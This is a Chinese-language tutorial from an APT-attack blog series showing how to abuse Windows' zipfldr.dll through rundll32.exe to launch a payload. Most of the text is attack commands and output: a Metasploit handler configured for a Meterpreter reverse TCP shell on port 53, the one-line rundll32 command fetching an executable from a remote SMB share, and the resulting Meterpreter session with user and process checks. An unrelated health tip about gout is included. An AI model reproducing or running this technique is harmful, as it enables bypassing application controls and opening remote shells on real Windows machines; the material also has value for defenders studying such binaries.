专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

zipfldr.dll简介：

zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件。

说明：zipfldr.dll所在路径已被系统添加PATH环境变量中，因此，zipfldr.dll命令可识别，但由于为dll文件，需调用rundll32.exe来执行。

Windows 2003 默认位置：

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

Windows 7 默认位置：

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.3 Windows 7

192.168.1.3 Windows 2003

配置攻击机msf：

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53 28

靶机执行：

1 rundll32.exe zipfldr.dll,RouteTheCall \\192.168.1.119\share\rev\_x86\_53 \_exe.exe

1 msf exploit(multi/handler) > exploit 2

3 [\*] Started reverse TCP handler on 192.168.1.4:53

4 [\*] Sending stage (179779 bytes) to 192.168.1.3

5 [\*] Meterpreter session 7 opened (192.168.1.4:53 ‐> 192.168.1.3:5245) at 2019‐01‐21 04:55:44 ‐0500

6

7 meterpreter > getuid

8 Server username: John‐PC\John

9 meterpreter > getpid

10 Current pid: 6988 11

Micropoor